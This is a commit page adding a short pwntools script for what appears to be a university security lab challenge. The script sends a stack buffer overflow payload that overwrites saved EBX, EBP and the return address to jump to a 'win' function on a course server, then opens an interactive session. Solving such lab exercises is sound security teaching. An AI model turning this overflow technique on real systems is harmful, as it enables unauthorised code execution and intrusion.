Lab6
This commit is contained in:
15
pa/lab6/chall_super_secure_system.py
Normal file
15
pa/lab6/chall_super_secure_system.py
Normal file
@@ -0,0 +1,15 @@
|
||||
from pwn import *
|
||||
|
||||
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
|
||||
PORT = 25155
|
||||
|
||||
WIN_ADDR = p32(0x080487d9)
|
||||
EBX = p32(0x804a001) # Has NULL byte
|
||||
EBP = p32(0xffffcdd8)
|
||||
|
||||
#conn = process("./check")
|
||||
conn = remote(HOST, PORT)
|
||||
pl = b"\x55"*0x24 + EBX + EBP + WIN_ADDR
|
||||
input()
|
||||
conn.send(pl)
|
||||
conn.interactive()
|
||||
Reference in New Issue
Block a user